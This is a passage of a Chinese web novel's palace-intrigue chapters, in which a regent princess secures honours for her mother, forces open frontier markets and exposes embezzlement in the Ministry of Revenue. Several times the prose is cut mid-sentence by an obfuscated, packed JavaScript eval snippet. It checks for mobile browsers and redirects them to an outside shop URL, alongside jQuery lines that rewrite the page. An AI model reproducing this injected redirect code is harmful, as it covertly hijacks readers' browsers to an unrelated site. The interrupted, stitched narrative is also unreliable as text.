钱衡量扑通一声跪在地上,言辞恳切道:“草民自知有罪之身,不敢奢求能出将入仕,也不在乎什么做不做官的,只是想能常常侍奉在殿下左右,能为殿下排忧解难即可,还望殿下垂怜应允。” 刘安拿不定主意,有些为难的瞟了眼身旁的莲音与莲亭二人,犹豫再三道:“若是在本宫身边侍奉,可是要有所舍弃,只怕先生会有所顾忌。” 钱衡量见机会就在眼前,来不及细想,便感激涕零:“草民多谢殿下,多谢殿下,草民甘愿为殿下赴汤蹈火,即便是舍去了这身家性命,也不足为惜。” 刘安起身,面色有些难以言表:“那便依你,随我一同回宫吧。” 莲音瞪大了眼睛,看向了刘安,这……恐怕不妥吧。 长公主未婚,带外男入宫,只怕不妥吧,况且宫里的宦官都是阉人,带他回去只怕有违宫规,若是太傅得知了,那又是一顿口诛笔伐,眼下正是风口浪尖之时,切不可再生事端啊! 莲音快步跟上:“殿下,是否要再想想?” 钱衡量忙跟上道:“草民甘愿为殿下赴汤蹈火,在所不惜。姑娘,你就别拦着我愿为殿下排忧解难的这颗真诚炽热的心了。” 莲音不知该说什么,只得尴尬一笑,他这般聪明,是猜不到的,不过他这般坚定,或许他真的想好了吧,便也不再阻挠。 抚政长公主刘安出宫一日,宫里都快乱了套。 康佑帝刘绥发誓一定会尊封生母为皇太后,好容易将生母李美人哄回去,刚静下心来没看过两封奏折,便气不打一处来。 兵部奏报说,北境的胡人虎视眈眈,南域的流寇时不时上岸骚扰,需重振边防,招兵买马,张口便是要钱。 户部的奏报,洋洋洒洒一堆字,通篇下来只有两个字:没钱。 刘绥气得将手里的奏折摔在地上:“没钱没钱没钱!兵部要钱,户部哭穷,就连栾南的诚王,先前还上折子说要钱,钱钱钱,四处都找朕要钱,那钱呢!钱呢!” 发过一通脾气后,刘绥闭眼思索良久,父皇思虑的不错,自己年幼,根基不稳,是镇不住这些朝臣的,需得依靠大姐姐为自己扫清障碍才是。如果不然,便要像父皇那样,辛苦布局几十年。 刘绥自认为,他与父皇承道帝无可比之处。父皇登基之时,正值壮年,又有启盛帝留下的一批班底,虽说那时世家权势如日中天,可父皇从中权衡,那些世家也都能为父皇所用。 可如今他才登基,朝臣们欺他年幼,各个都不把他放在眼里,父皇留下的老臣,更是对他多有训诫,平日里既要处理政务,还要背诵功课,一字背错便要被打手掌,他堂堂皇帝,岂能受这种气! 不过眼下还需忍让,还需多多忍让才是。 刘绥缓缓睁开眼,牙齿咬得嘎吱作响,目光落在那些凌乱摔在地上的奏折,终究是深吸一口气,将这口怨气吞入腹中,缓缓放松握紧的拳头,注视着那些奏章良久。 刘绥挑起一绺发丝,随意缠绕在手指上,思索着对策,钱的话,六哥刘赞爱财,想来他手上定有不少私产,只是自己与他关系不甚亲近,未必会心甘情愿拿出钱来。 不过六哥刘赞自幼丧母,是大姐姐一手将他带大的,与大姐姐关系最好,若是大姐姐去要,想来六哥定会拿出来的。 想罢,刘绥起身,弯腰上前,拾起那些奏折。 “传太傅。” 不多时,王落儒不疾不徐入宫来:“陛下传唤老臣所为何事?” 王落儒走近,看着刘绥桌边摆着本翻开的《战国策》,还有一本未曾翻阅的《中庸》,便道:“陛下还是少看些《战国策》吧,战国策的内容大多重利轻义,与儒家所推崇的仁义之策相悖。 刘绥背着王落儒翻了个大大的白眼,战国策可是连父皇都会时常翻阅的书籍,又怎会有错? 王落儒抄起手边的中庸,随意翻了一页,便问道:“不知陛下功课做得怎么样了?”边说着,边手里准备好戒尺。 刘绥咬着后槽牙,从牙缝里挤出几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘绥话说了一半,面露犹豫,将户部的折子递给王落儒看:“户部又说国库空虚,拿不出这些个钱财来。王太傅,眼下该如何是好?” “是不是需要征收新一轮的赋税充盈国库?” 王落儒接过折子看过之后,皱着眉头,连连摆手拒绝道:“这几年国家多州频发灾情,民生多艰,况陛下才登基,根基不稳,万不可在此时征收赋税。” 刘绥面露愁色,踌躇道:“那……那现在可要怎么办才好?” 王落儒手持奏折踱了数步,而后想到了先皇的六皇子刘赞,若要他亲自掏钱,还是得通过长公主刘安才是。 王落儒取来方才看过的两封奏折,匆匆行礼后道:“陛下稍安勿躁,容老臣去问过长公主的意见,想来她会有办法。” 刘绥哭丧着张脸,怯生生地点点头:“那便有劳太傅跑一趟了。” 王落儒道:“为陛下分忧,是臣子的本分。” 走出数步,又折返回来,叮嘱道:“陛下可别忘记功课一事,老臣回来,可是要抽考的。” 刘绥无奈轻叹口气:“太傅放心,朕自当更加勤勉。” 听如此说后,王落儒方才离开福宁殿,前去福康宫找刘安。 王落儒没见着刘安,问过福康宫的大宫女莲房之后才得知,陛下生母李氏今日在福康宫大闹一场,长公主没法,只得出宫去了公主府。 这……王落儒知道为着尊封太后一事,长公主心中有气,这是撂挑子了,可眼下也无计可施,急得直拍手。 莲房道:“太傅大人,不妨明日再来吧,明日早朝殿下还要听政呢。” 王落儒无法,只得悻悻离去。 谁知翌日早朝,抚政长公主刘安称病未曾垂帘听政。 79. 安内(四)得偿所愿 王落儒没了法子,亲去公主府探望,不曾想被拦在门外,没见着长公主。 又僵持了两三日,刘安依旧是称病。 眼看陷入僵局,刘绥传礼部尚书周述与王落儒进宫商议追封祁氏为皇太后一事。 “周尚书,王太傅,虽说祁娘娘与陈娘娘未曾对朕尽过养育之恩,可祁娘娘与陈娘娘却是诞育过大姐姐与英王兄,正如母妃与朕一样,大姐姐一片孝心,与朕如出一辙。” “若是为着这个将大姐姐气病了,朕心不安啊!”说着说着,刘绥流出几滴眼泪。 周述道:“陛下,礼法不可违啊!” 王落儒叹了口气:“周大人,礼法规矩到底是人定的,又不是一成不变的。” 周述不满地瞥了搅合的王太傅一眼,当初不就是你硬要在朝堂上捅破此事让长公主下不来台吗,如今又来装什么大尾巴狼! 周述一甩袖子,并不搭理王落儒,只等着刘绥下令。 刘绥叹道:“太傅大人,眼下,可该如何是好?” 王落儒也是叹了口气:“陛下,依臣之见,不如大家都各退一步。” 刘绥问道:“此言何意?” 王落儒解释道:“祁妃可追封为皇太后,长公主殿下的生母陈妃也可追封为皇太妃,只是不入太庙,另建一座宫殿祭祀即可。陛下也可顺势尊封生母李氏为皇太后。” “如此退让,想来长公主殿下也会同意的。” “另外,祁陈两氏的族人,乃至李氏的族人,不可入朝为官,如此便可绝了外戚干政之祸患。不知陛下以为如何?” “甚好甚好。”刘绥连连点头,如此一来,既遂了大姐姐的心愿,也能尊封母妃为太后,又可避免外戚干政的风险,而后又看向周述,问道:“不知周卿家以为如何?” 周述见康佑帝都同意,自是没有意见,便随声附和道:“太傅大人所言极是。” “那便按太傅所说的去办,顺便,七哥的生母容娘娘,也一并尊为太妃吧。还有一事,朕如今想起来,自朕登基起,姊妹们的爵位便尚未定封,不如便趁着此机会,一起办了吧。” “先前父皇在时,大姐姐便已是长公主,如今朕当政,为显大姐姐之尊,当尊封为大长公主。宁乐公主刘宁,晋为宁乐长公主。刘赞,便封为逍遥王,刘昶,便封为定北王。” 刘绥当即定下,提笔写下两封圣旨,一份是追封太后太妃的旨意,一份是晋封刘安等人的旨意:“既这么着,此事便交由太傅去督办吧。”说着,便盖上玉玺。 王落儒接过圣旨:“陛下放心,老臣定将此事办妥。” 王落儒当即便带着追封祁陈二人的圣旨来到福康宫。 留在福康宫的莲房见王落儒又来了,忙笑着迎上去:“太傅大人请回吧,殿下还在宫外养病,不曾回宫,若有什么话,不妨太傅说与奴婢,待殿下回宫后,再细细转达给殿下。” 王落儒捧着手中的圣旨,一甩衣袖,昂首阔步道:“追封祁妃与陈妃的圣旨已到,此外,陛下内心敬重长公主殿下,特下旨意晋殿下为大长公主,以殿下为尊。烦请姑娘将这两件事转达给殿下。”说罢,便昂首离开福康宫。 莲房愣在原地,久久未能回过神来,追封祁娘娘与陈娘娘的事成了?大长公主,殿下岂不是更显尊贵?待王落儒走远后,莲房才缓过神来,自是欣喜不已,正想着即刻出宫将此事告知长公主刘安,抬头一看天色渐晚,眼瞅着宫门就要下钥,得抓紧出宫才是。 赶在宫门下钥前,莲音匆忙带着钱衡量回了福康宫,与正要出门报信的莲房撞了个满怀。 莲房没好气道:“越来越没规矩了,这般慌张做什么!”抬眼一看,发现竟是莲音回来了,忙笑问道:“你怎么回来了?” 莲音见莲房正要出宫,上下打量一番,一脸看破不说破的神情:“你又这般慌张出宫做什么?”说着,凑到莲房耳边,逗趣道:“莫不是又去见你那个表哥?” “你!”莲房脸上含羞,玩笑着推了莲音一把,赌气别过脸去:“莲音姐姐怎么现在跟莲亭一样调皮胡闹,全然没了先前的稳重样子。” 莲音忙哄道:“我的错我的错,那你要出宫做什么?” 莲房将莲音拉至一旁,凑到莲音耳边,语气之中难掩喜悦:“我正要去向殿下报信呢,可巧你就回来了。方才王太傅带着圣旨来了,说陛下同意追封祁娘娘与陈娘娘了。” “还有,殿下如今已是大长公主了,身份地位要更加尊贵呢。” 莲音有些不太敢相信:“真的?那礼部也同意了?” “圣旨都下来了,哪还有假!” “先前就听说,陛下将礼部尚书周述还有王太傅等人都叫去了福宁殿,不久之后圣旨便到了。” 说罢,肩膀碰了碰莲音:“你还不快去向殿下报信?” 莲音同样欣喜:“我即刻便出宫去。” 莲房点点头,无意间抬眼一瞥,被莲音身旁这弓着腰的钱衡量吓了一跳,莲房细细打量片刻,认出了钱衡量。这人,不是先前那个算命先生吗?怎么莲音把他给带入宫了? 莲房慌乱地瞪了钱衡量一眼,忙将莲音拉至一旁询问到底什么情况:“姐姐莫不是忘了宫规?怎么将外男给带入宫了?” 莲音简单说过钱衡量的来历,随后将钱衡量交付给莲房:“莲房,这人是殿下留下的,人便交给你照顾了,你记得教他规矩。” 说罢,莲音向钱衡量介绍莲房:“钱……钱内官,这位是莲房,是福康宫的掌事大宫女之一,负责教导福康宫内的宫女太监们,这几日你便先跟着莲房学规矩吧。” 钱衡量忍着痛,怯生生叫了声:“莲房姐姐好。” 莲房和善笑着:“不要怕,殿下是最随和的,整个福康宫的待遇也都是最好的,只管安心为殿下办差就是了。跟我来吧。” 莲音将钱衡量安顿好后,赶在宫门即将下钥时出了宫,将这两个消息带给刘安。 莲亭笑着看向刘安:“殿下如今心病好多了吧。” 刘安躺在摇椅上,自是心满意足:“明日回宫。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。”莲音与莲亭忙去铺床。 听着灯花爆结的声音,听着莲音与莲亭沉睡的呼吸声,刘安还在想着明日早朝的事。 只怕如今还有着更紧急的事儿在等着她呢,要不然他们绝不会这么快便松口同意追封一事。 能是什么事让他们都无计可施呢? 刘安将近来发生的事从头到尾地细细梳理一遍,大致有了头绪,眼下恐怕只有国库空虚一事吧。 那么大的窟窿,恐怕不是能轻易填补得了的。 先前昶儿还说,近来严冬之季,胡人有所收敛,若是等到来年开春,只怕北境的形势会更严峻,再加上大江幼帝才刚登基,国内的事都尚未料理干净,恐胡人会借此机会入侵边境,需得重塑边防。又是一处要花钱的。 眼看着窗边渐渐泛起亮光,刘安这才闭上眼睛假寐。 不多时,便被莲音叫醒,莲音看着刘安眼下乌青,心疼道:“殿下昨夜又是一夜未睡吗?看着眼下的乌青又重了呢,我用粉为殿下遮一遮吧。” 刘安偏头躲过:“留着吧,毕竟刚称病几日。”说着,还挑选了一条保暖的额带戴上对着镜子左右照过,而后装出一副病弱的样子,轻咳两声。 莲音道:“倒有几分像病重得下不来床的样子。” 刘安甚是满意,病歪歪地扶了扶头上的额带,得意地看了眼一旁的莲音与莲亭二人,柔弱道:“上朝去吧。” 80. 安内(五)钱从何来 看着长公主刘安今日临朝,户部侍郎黄崇安碰了碰旁边兵部的人,眼神示意,嘴里嗫嚅着:“长公主殿下回来了,重整边防的事妥了。” 兵部侍郎邵节瞥过一眼,轻叹一声:“国库没钱,长公主又能有什么办法。” 邵节,原先是海州的驻城官,是经历了两次朝廷大清洗之后才从地方升任上来的,对京城里盘根错节的关系并不明了。 黄崇安见长公主的眼神扫了一圈,忙用笏板遮住脸,低头不语。 康佑帝刘绥理了理衣袖,看向阶下的诸位大臣,问道:“众位卿家,可还有事要奏?” 兵部侍郎邵节站出列,奏报道:“启禀陛下,臣要奏。” “近来北部永州边境不甚安稳,如今深冬之际,胡人便蠢蠢欲动,若待来年开春,边境岂能安稳?” “依臣之见,当加强边境防线,时时警惕。” 刘绥道:“兵部侍郎所言有理,允。” 户部尚书程显站出来列道:“陛下!近年天灾不断,前年汀州水患,去年最南边的康州疫情,今年靖州旱灾,财政亏空,哪里还能拿得出多余的钱财来整顿边防呢!” 户部侍郎黄崇安附和道:“陛下,近年何止是天灾频发,眼下国库实在是空虚!” 何止是天灾啊,还有人祸呢,叛逆篡位、皇室宗亲接连离世,还有先前与胡人签订的条约款项,哪一项不要钱! 兵部尚书崔至道:“整顿边防势在必行,容不半分耽搁。” 崔至,是王落儒的女婿,原先跟着太子,太子薨逝之后受到牵连降了官,如今新帝登基,朝中职位空缺,又被重新任命。 程显冷哼一声:“崔尚书说得倒是轻巧,整顿边防需要源源不断地钱财粮草,依着如今的状况,难道崔尚书能凭空变出来几百万两的银子吗?” “若是行,那我绝无话可说。”程显一甩衣袖,不再理会。 崔至一怒之下直指向程显:“你!” 王落儒站出来帮腔道:“陛下,大长公主殿下,如今情形还需拿定主意才是。”他们今日重新在朝堂之上提及整顿边防一事,为的不是和户部吵,而是逼着大长公主刘安想法变出银子来。 刘绥面露愁容,眉头锁紧,犹豫再三,转头问向坐在一旁的刘安:“大姐姐,现在这般要怎么办才好?” 刘安换了姿势靠在龙椅上,嘴角拉下,敢情在这里等着她呢,正巧,开放边境市场的政策,在此时提出最适合不过。 “咳咳——”刘安轻咳两声,毕竟她还在病中,还是得装装样子,“诸位卿家,如今国库空虚,任谁也不能凭空变出银子来,可这么下去终究不是办法。“ “说到底,还是要开源节流的好。” 王落儒道:“开源节流?不知殿下所指为何?” 刘安笑笑:“所谓开源,便是要想法子去赚钱。先前父皇还在时,便想过这个问题,为着财政,父皇曾派了逍遥王全国各地地探查过一番,甚至永州边境,逍遥王也曾去过。” “这一路下来,收获颇丰。逍遥王发现,有些物件在我们大江,因产量大而物价低,可在草原上,却是一价难求,同理,在我们大江也是如此。若是我们能将双方短缺的物件进行交换,一来可丰富我大江的物产,二来,对于朝廷也是一笔不菲的收入。” “父皇认为此举可行,只是后来事项繁多,便拖到至今还未曾实施。如今程卿家提及财政亏空一事,本宫这才想起来。” “不知诸位卿家以为如何?”说罢,刘安扫视一圈众臣子的反应。 先前承道帝还在时,便想推行此政,只是当时世家大族当政,其中他们有不少灰产便是与倒买倒卖有关,若是开通边市由朝廷出面掌管此事,他们落到手里的好处便会少许多。故而,开放边市的政策还没拟定便被否了。 如今,世家大族在朝中的势力已消散殆尽,成不了气候,连年的天灾赋税又收不上来,财政上也是空虚,此时再提及开放边市一事,想来不会有人再拒绝。 “这……如何能开放边市呢?开放边市,岂不是将国门都敞开来?若胡人纠集军队一举进攻,到那时,我们大江焉有还手之力?” “是啊,胡人狡诈,烧杀劫掠无所不作,开放边市无异于将边境拱手让出,万万不可啊!” 群臣甚为不满。先前太子监国时,便训练着一大批的军队,年年的军饷都有超支,可这么多年,竟一场仗也没打过,这不是白白浪费了钱财吗? 先前朝中以晋国公为首的一批武将权势威望甚大,他们并不敢多说什么,如今武将们多受到了颖州蔡氏的牵连,罢官的罢官,降职的降职,就连军队的规模也削减过一批,可如今又要增加军费,朝臣们自然是不愿。 况且,先前那些个倒买倒卖的私产由颖州蔡氏把持着,如今颖州蔡氏倾灭,那些赚钱的营生也该交由他们了吧。 刘安道:“那依诸位卿家所言,眼下边防一事,又该如何是好呢?” “这……边防自然是要整顿的,若是财政空虚,依着史书中的经验,只怕是要再多征收一成的赋税了。” “哼。”刘安冷笑一声,“如今陛下登基才不过月余,便要多征收一层赋税,你们让天底下的百姓如何去想!” 加税加税加税,难不成就只有加税这一个法子不成? “殿下,自古以来都是这么做的,如今也只需依循惯例即可,若是冒然实行新政,岂非太过冒险?” 刘安问道:“冒险?边市一开,便会有大笔的钱财涌入,有了钱,便可改善民生,便可重整边防,便可使国家强盛,又有何风险所言?” “反倒是如今,天灾频发,国库空虚,民生多艰,若是来年开春胡人真从北境打过来了,又拿什么还手?国库空虚,无军饷练兵,赋税严重,百姓饥馁,来日又还有什么还手之力?” 群臣不言语。 刘安道:“开边市。” 程显又问:“开放边市可不是一句话的事,边境市场的营建也不是一夕之间就可成立的,开边市也需要投入大量的银钱,敢问长公主殿下,钱从何来?” 刘安冷眼看过去,手里的拳头越攥越紧。 眼瞅着局势即将陷入僵局,王落儒站出来打圆场:“殿下,程尚书——” 刘安不待王落儒说完,便冷冷道:“程卿家放心,不会动用国库的钱。” 程显毫不退让:“殿下所用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274277|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一分一毫,皆出自国库,何以敢说用不着国库!” 刘安冷哼一声:“哼,日后程卿家自会知晓,待国库充盈之时——” 程显再次逼迫道:“烦请殿下明示!” 户部诸臣也纷纷站出列求刘安明示。 高座之上的刘绥,侧头看向刘安,他想知道大姐姐会如何处理。 刘安看着整整齐齐跪下逼迫她的户部,连着冷笑数声,当即命人宣逍遥王刘赞上殿。她原顾念着这些人爬到如今的位置一路不易,不想撕破脸皮,不成想她的步步退让,却成了今日这柄架在她脖子上的刀,进退两难。 若是说了钱从何处来,户部便会再继续逼问逍遥王刘赞的钱又是从何而来,刘赞手上的钱有些来路不明,经不起盘问。 若是不说,开放边市便进行不下去,眼前的局势便是一场僵局。 刘赞知道朝中的局势,心中了然,已经想好了应对之策。 前些日子户部送来的近几个月的财政收支,里面有些烂账,如今正好派上用场,既然户部这群人咄咄逼人,那便让他们栽个大跟头。户部搬起石头砸自己的脚,想想就痛快。 待刘赞来到御前,还未曾奏对之时,刘安便甩来一册折子,摔在他脚下,刘赞被惊得不免后退半步。 刘安指着群臣怒道:“朝中各部都说缺钱,各项都说要钱,偏偏又都没钱,那我问你们,钱呢?钱都去哪儿了?” 程显被刘安这一声问得有些不知所措,钱不都用在了赈灾安抚、灾后重建、军队建设等方面吗,如今再问这是何意,瞬时懵然不已。 刘赞对上刘安的视线,当即会意:“臣刘赞奏禀。” 刘绥眼神瞟了眼身旁的刘安,又看向刘赞,抬手应允。 刘赞奏报道:“一个多月前,户部便说国库空虚,为着此事,长公主殿下心中存疑,便命臣从户部拿来近几个月的财政收支,臣细细查验过后,果真从中发现了些猫腻,足足有八十万两对不上帐。” 此言一出,朝堂之上一片哗然。 黄崇安更是心里咯噔一下,早先他便发现账目上有问题,可毕竟官大一级压死人,程显都暗里指使他作假的,他也没办法。如今爆出来,即便彻查,也只会查到他头上,他得结结实实背下这口锅,身上不免冷汗直流,不多时,后背上的官服已被浸湿。 刘赞继续道:“这才只是近几个月财政中猫腻,就有八十万两之多,不敢想象,若是翻查这几年的财政,还不知道会有几百万两的猫腻呢!” “还请陛下,长公主殿下明查!” 看着阶下诸臣脸上神情均是一片愕然,尤其是黄崇安脸上一副吃瘪慌乱的样子,刘安心中便得意,嘴角不自觉地向上勾起,程显啊程显,你原本想为难我,却不想将自己的把柄亲自递到了我手上,不知你此时,心里在想什么? 刘绥一副恍然大悟的神情,没想到大姐姐数月前便查到了证据,竟能隐忍不发直至今日才拿出来,若非查到这些账目猫腻,只怕今日便要被他们拿捏了,看来他还有很多要学习的地方,不能一味地只知道装傻充愣。 程显缓缓抬眼看向刘安,眼神之中却不是被抓住把柄的害怕,而是,意料之中。 81. 安内(六)徇私偏向 刘安故作惊讶,眉目夸张:“啊?这是怎么一回事?” “程尚书可是朝中的老臣了,统领户部多年,如何会犯这种错误?又如何会纵容手下的人犯下这种错误?” “逍遥王,你所说之事,可有确凿依据?切不可信口雌黄,造谣生事。” 刘赞胜券在握道:“户部近几个月的账目便是依据。” “陛下,长公主殿下,臣恳请彻查户部所经手的财政收支,好好查查这些年国库的钱都花在了何处。” 国库年年亏空,户部年年叫嚷,先前与胡人谈判迎回四哥,便是他掏出的赎金,之后栾南战事,又是他搬空了他在京郊的私宅,乃至近来的靖州旱灾,又是他拿出几百万两银子赈灾弥补亏空。刘赞爱财如命,早就看户部这群人不顺眼了,如今有机会,自然不肯放过。 刘安见户部尚书程显一言不发,户部侍郎黄崇安抖如筛糠,户部侍郎林英眉头紧锁,便道:“是该好好查查了。不知陛下以为如何?” 王落儒甚为不安,没想到东拉西扯,最后反倒是扯到了户部扯到了程显头上,他素来知道刘安刘赞与户部的过节,可程显毕竟还是有能力的,况且又是先皇临终所托的顾命大臣。长公主刘安近来权势滔天,甚嚣尘上,若不是程显他们在前面顶着,只怕…… 王落儒见康佑帝刘绥尚未开口,便站出来道:“陛下,查账一事牵涉甚广,更别提是数年的旧账,若没有个数月根本查不完。眼下最要紧的还是要先解决国库空虚问题!” 刘赞反驳道:“太傅此言差矣,若是不将粮仓内的偷吃的老鼠都揪出来,不论再往粮仓里面放多少粮食,粮仓都是塞不满的。国库亦是同理,需得将蛀虫都一个个的揪出来才好。” 程显道:“陛下,长公主殿下,是该好好查查了,臣愿鼎力支持。” 刘安脸上闪过一瞬的不解,程显支持查账?他是在强撑着……还是觉得查不到他有恃无恐? 刘赞冷哼一声,不错,单凭查到的账目报册,确实不能证明与程显有关,每项猫腻都直指他手下的侍郎黄崇安,黄崇安与程显的关系谁人不知? 程显此举……断尾求生?刘赞不禁有些佩服起程显,不愧是当初能在朝堂之上和晋国公齐国公分庭抗礼的户部尚书程显,果真有两把刷子。 黄崇安满眼惊恐地看向程显,浑身抖个不停,扑通一声倒在地上。他,已经是弃子了。不,他不想死,他不想入狱,他一步一步爬上来,甚是不易,他要活,他要活! 师父,我是你的门生,我是你的得意门生,这些年,你让我做什么我就做什么,我手上沾了不少烂事,都是你让我做的,你不能这么对我,你不能抛下我不管! 黄崇安瘫在地上,双手攀上程显的官服,紧紧攥在手里,生怕程显将这口黑锅全让他背下。 刘赞转过身来,呵笑一声:“原先查到的账目中,确有几项不明了之处与黄侍郎有些关系,不过黄侍郎也不必过于忧心。毕竟,近几年的账目如今还没开始查呢,说不定还会有人比黄侍郎的罪过更大呢。” 程显回头看了眼攥着他官服的黄崇安,狠狠瞪了黄崇安一眼之后,硬生生将官服从黄崇安手里扯出来,若不是这会在金銮殿上,他早就一脚踹在黄崇安脸上了。 沉不住气的东西,三言两语就被吓成这个样子,日后能成什么事? 黄崇安被程显的眼神吓到,慢慢松开手中紧紧攥着的官服。他还有一家子妻儿老小,如今他除了认罪背锅,别无选择。 黄崇安:“财政亏空,全是臣一人所为。臣利欲熏心,臣贪得无厌,被钱财迷了眼,被利益糊了心,酿成今日如此大祸!” 一时间,群臣哗然。 刘安饶有兴致地看着阶下这一幕,程显对自己的得意门生都这般无情,日后还有谁还敢追随他? 幸而户部侍郎林英有远见,看出了程显的薄情寡义,向她卖好,不然如今她哪里能看得这么一出好戏。 刘赞暗自得意,谁人不知黄崇安与程显的关系,如今查到个黄崇安,还愁抓不住程显的把柄吗? 刘绥道:“监守自盗!毫无廉耻之心!拖下去!严查!” 黄崇安涕泗横流:“陛下,臣知道错了,臣知道错了!” 一旁的林英则是脸色煞白,浑身抖个不停。他只是看不惯程显欺上瞒下,他只是不愿与程显他们同流合污,这才在长公主面前多提了几句,没想到竟成了今天这副局面。 黄崇安被查,他们都是一根绳子上的蚂蚱,他林英又怎么逃脱得了?听闻长公主重情,但愿长公主会顾念着他这几句话的功劳。 王落儒见此情形,站出来阻拦道:“陛下,当务之急并不是查账,而是充盈国库整顿边防。” 即便是要惩治程显,也得等康佑帝长大些,也得等康佑帝独立执政以后,如今朝中局势三足鼎立,他与程显共同牵制长公主,若是程显此时倒台,单凭他与他手下这些人,难以制衡长公主,那长公主的权势岂不更盛,那陛下焉能成长? 刘赞瞥了一眼,心中不满。 刘绥低声问刘安:“大姐姐,太傅说得也在理,那眼下该如何是好?” 刘安道:“开边市。” 刘绥再问:“那钱……” 刘安看了眼刘绥,轻轻点头示意后,道:“这个不必担心。既然我决定要这么做,自然是想好了万全之策。” 刘绥点点头,松了口气:“有大姐姐这句话,我便安心了。那我便下旨了。” “太傅说得有理,当务之急,是要开放边境市场,充盈国库。” 大臣之中还有人要站出来反驳的。 刘安忙低声道:“退朝,不必听他们胡扯。” 刘绥高声道:“退朝!” 刘赞路过程显身旁时,甚为不屑地看了他一眼,很是得意。 程显则是意味深长地回视一眼,果真是小孩子,沉不住气,后面有你哭的时候。 退朝后,刘赞兴冲冲地来找刘安:“大姐姐这一局妙啊,你都没看到程显那脸上一会青一会红一会白的,精彩极了。” 刘安笑道:“还是得多亏你啊,若不是你看出那账目有问题,我们又怎么能在今日让程显吃了瘪呢?” 刘赞拱手笑道:“那是大姐姐运筹帷幄。” 刘安与刘赞恭维道:“诶,哪里哪里,若不是六弟你查出账目的问题,今日又怎能去了这一根眼中钉肉中刺呢?” 刘赞顺势道:“大姐姐,我今日表现如今……是不是也该赏我点别的了?” 刘安道:“那是自然。”刘赞爱财,生财有道,如今开放边市,与周边国家进行贸易沟通,自然少不了他相助,况且,他们二人又是亲姐弟,刘赞是刘安一手带大的亲弟弟,两人关系非同一般,将这边市的事交给刘赞,远比交给其他人放心的多。 两人正说笑着,莲音来报:“殿下,程尚书求见。” 刘安与刘赞二人对视一眼,不明所以,他这会儿来做什么,难道是来求情吗? 刘赞嘲讽道:“他来做什么?莫不是向大姐姐哭诉求情?大姐姐,可千万别,黄崇安这样的蛀虫,死不足惜。” “黄崇安黄崇安,蝗虫安在,倒真是一只好大的蝗虫!” 刘安倒不像刘赞情绪这般激动,坐直身体,平静道:“六弟,你先去偏殿歇着吧,待会我还有要事与你商议。” 刘赞乖巧退下,出去时倒是与程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274278|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显打了个照面。 刘赞看似恭敬,实则嘲讽地向程显问好:“程尚书安好。” 程显止住脚步,冷哼一声,不过旋即恭敬施礼道:“逍遥王也在啊,不妨留下同听。” 刘赞冷哼一声:“不必了,你有什么事同大姐姐说就是了,朝堂上的事,我向来不喜。” 程显道:“想来待会长公主殿下好会传召殿下,殿下可别走远。免得待会长公主殿下找不到殿下,长公主殿下动气盛怒。” 刘赞“切”了一声,不以为意,他自幼在大姐姐的福康宫长大,爱去哪儿去哪儿,程显算个什么东西,也管得着他!他是最乖巧贴心的,怎么惹大姐姐生气?反倒是面前的程显,次次与大姐姐对着干,哪次不惹大姐姐生气? 刘赞的反应在程显意料之中,程显不甚在意,拜别刘赞后便面见了刘安。 刘安问:“程卿家,你此次前来所为何事?” 程显道:“殿下在朝上言,要彻查财政,不知何时开始查,臣好让他们将近些年来的财政册子整理好。” “这事……”刘安摆手道:“程卿家,黄崇安是你的得意门生,朝中人人皆知,此事……程卿家不必插手,免得日后被人说——” “徇,私,偏,向。”刘安看向程显,一字一顿道,“有损程卿家在朝野中的声名。” 程显道:“殿下不必担心臣的声名,臣此次前来,不是为了黄崇安一事,而是为了查账一事。” 刘安笑道:“财政上的问题,程卿家更是不必担心,陛下定会派人公正仔细地去查,说到底,本宫不便插手,不过程卿家放心,不会冤了任何一个,也绝不会轻放任何一个。” 程显听后,点点头,但愿长公主在看过他手上的这封奏报之后,还能说出这样的话。 程显捏了捏袖中的奏报,并不急着拿出来,继续拉扯道:“陛下与殿下心意已决,开通边市势在必行,臣思索良久,想来搭建边市需要不少人,臣此次前来,想为殿下举荐一人。” 刘安有些懵,程显这是……低头了?刘安张嘴欲言三四次,思虑再三后,觉得攻击性太强,甚是不妥,既然程显都低头了,那自己便不必咄咄逼人。只是程显推荐的人她也不敢用。 刘安只道了声:“用人一事本宫自有考量,程卿家不必多言。” 程显不理睬,继续道:“臣想举荐林英。” “林英……”刘安喃喃道了一声,林英也算是程显的门生,如今肯背叛程显向她卖好,来日也会背叛她向别人卖好,她怎敢任用林英?况且边境情况比京城要复杂,身边的人需得忠心不二才行。 一日不忠,终生不用。 刘安推脱道:“林侍郎在朝中任职,前途大好,怎会愿意去边境苦寒之地?” 程显道:“逍遥王养尊处优,身份尊贵,岂是林英可比?逍遥王都去得边境,林英如何去不得?” 刘安一时也无话可说。 程显呈上他袖中的奏报:“烦请殿下看过臣的奏疏之后,再做决议。” “写的什么呀?”刘安接过,顺手翻开,粗略扫过一眼之后,脸上已然变了颜色,啪得一声合上奏疏,盯着程显,一言不发。 